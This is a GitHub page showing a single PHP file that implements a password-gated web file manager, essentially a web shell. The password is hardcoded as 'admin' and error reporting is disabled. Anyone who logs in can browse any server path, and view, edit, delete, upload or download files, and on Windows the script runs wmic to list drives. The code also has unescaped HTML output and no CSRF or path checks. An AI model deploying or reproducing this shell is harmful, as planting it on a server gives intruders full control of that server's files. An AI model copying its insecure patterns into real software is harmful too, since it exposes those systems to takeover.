-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.php
239 lines (236 loc) · 6.7 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
<?php
//
//
//vars
//
//
error_reporting(0);
session_start();
define('password', 'admin');
//
//
//controllers functions
//
//
function has($obj){
return isset($obj);
}
function dd($text){
die($text);
}
function get_session($name){
return has($_SESSION[$name]) ? $_SESSION[$name] : false;
}
function set_session($name,$val){
$_SESSION[$name] = $val;
}
function get_post($name){
return has($_POST[$name]) ? $_POST[$name] : false;
}
function get_get($name){
return has($_GET[$name]) ? $_GET[$name] : false;
}
function makeInput($type,$name,$val = "", $style = ""){
if(in_array($type,['text','password','submit','file'])){
return "<input type='$type' name='$name' value='$val' style='$style'/>";
}
return "<$type name='$name' style='$style'>$val</$type>";
}
function makeForm($method, $inputArray,$file = ""){
$form = "<form method=$method enctype='$file'>";
foreach($inputArray as $key=>$val){
$form .= makeInput($key,(is_array($val) ? $val[0] : $val), (has($val[1]) ? $val[1] : ""), (has($val[2]) ? $val[2] : ""));
}
return $form."</form>";
}
function makeTable($thead,$tbody){
$head = "";
foreach($thead as $th){
$head .= "<th>$th</th>";
}
$body = "";
foreach($tbody as $tr){
$body .= "<tr>";
foreach($tr as $td){
$body .= "<td>$td</td>";
}
$body .= "</tr>";
}
return "<table><thead>$head</thead><tbody>$body</tbody></table>";
}
function makeLink($link,$text,$target = ""){
return "<a href='$link' target='$target'>$text</a> ";
}
function login(){
if(get_session('login')){
return true;
}
if(!get_post('login')){
return false;
}
if(get_post('pass') != password){
return false;
}
set_session('login',true);
return true;
}
function get_path(){
$path = __dir__;
if(get_get('path')){
$path = get_get('path');
}
return $path;
}
function filesize_convert($bytes){
$label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
for($i = 0; $bytes >= 1024 && $i < (count($label) -1); $bytes /= 1024, $i++);
return(round($bytes, 2) . " " . $label[$i]);
}
function fileTime($path){
return date("M d Y H:i:s", filemtime($path));
}
function download_file($download){
if(!is_file($download)){
return false;
}
header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename="'.basename($download).'"');
return readfile($download);
}
function delete_file($delete){
if(is_file($delete)){
return unlink($delete);
}
if(is_dir($delete)){
return rmdir($delete);
}
return false;
}
function edit_file($edit){
if(is_file($edit)){
return makeForm('POST',
['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"],
'submit'=>['save','Save']]);
}
return false;
}
function save_edit($path,$str){
if(is_file($path)){
file_put_contents($path,html_entity_decode($str));
return true;
}
return false;
}
function view_file($path){
if(is_file($path)){
return htmlentities(file_get_contents($path));
}
return false;
}
function new_file($path,$name){
if(!is_file($path.'/'.$name)){
file_put_contents($path.'/'.$name,"");
return true;
}
return false;
}
function new_dir($path,$name){
if(!is_dir($path.'/'.$name)){
mkdir($path.'/'.$name);
return true;
}
return false;
}
function upload_file($path,$file){
$name = basename($file['name']);
if(!is_file($path.'/'.$name)){
if(move_uploaded_file($file["tmp_name"], $path.'/'.$name)){
return true;
}
}
return false;
}
function get_back($path){
if($path == "" || $path == "/"){
return $path;
}
$path = explode("/",str_replace('\\','/',$path));
array_pop($path);
return implode("/",$path);
}
function win_disk(){
exec("wmic logicaldisk get caption",$c);
$ret = "";
foreach($c as $d)
$ret .= ($d != "Caption" ? makeLink("?path=$d",$d) : "");
return $ret;
}
function get_dir(){
$path = get_path();
if(!is_dir($path)){
return false;
}
$dir = scandir($path);
$files = [];
$i = 0;
foreach($dir as $d){
if($d == '.' || $d == '..'){
continue;
}
$p = $path.'/'.$d;
$s = '--';
$icon = "📁";
$t = fileTime($p);
$l = makeLink("?path=$p",$d);
$perms = substr(sprintf("%o", fileperms($p)),-4);
$owner = (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($p))['name'] : fileowner($p));
$controller =
(is_file($p) ? makeLink("?edit=$p","Edit","_blank") : '').
makeLink("?delete=$p","Delete","_blank").
(is_file($p) ? makeLink("?download=$p","Download","_blank") : '');
if(is_file($p)){
$s = filesize_convert(filesize($p));
$icon = "📝";
}
$files[] = [$icon,$i,$l,$s,$t,$perms,$owner,$controller];
$i++;
}
return makeTable(['#','id','Filename','Size','Modified','Perms','Owner',''],$files);
}
$loginTemplate = makeForm('POST',['p'=>['','Password: '],'password'=>['pass', ''],'submit'=>['login','Login']]);
if(!login()){
dd($loginTemplate);
}
if(get_get("delete")){
delete_file(get_get("delete")) ? dd("Deleted: ".get_get("delete")) : dd("File not found");
}
if(get_get("edit")){
if(get_post('save')){
save_edit(get_get('edit'),get_post('edit'));
echo "Saved";
}
$edit = edit_file(get_get("edit"));
$edit ? dd($edit) : dd("File not found");
}
if(get_get('download')){
@readfile(download_file(get_get('download')));
exit();
}
if(get_post('newfile')){
new_file(get_path(),get_post('filename')) ? dd('Create: '.get_post('filename')) : dd('File exites');
}
if(get_post('newdir')){
new_dir(get_path(),get_post('dirname')) ? dd('Create: '.get_post('dirname')) : dd('Dir exites');
}
if(get_post('upload')){
upload_file(get_path(),$_FILES['file']) ? dd('upload: '. $_FILES['file']['name']) : dd('Upload Error');
}
echo "<body>".
makeForm('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]).
makeForm('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]).
makeForm('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data').
makeLink("?path=".get_back(get_path()),"[Back]").
(PHP_OS_FAMILY == "Windows" ? win_disk() : "").
(is_dir(get_path()) ? get_dir() : '<pre>'.view_file(get_path()).'</pre>')
."</body>";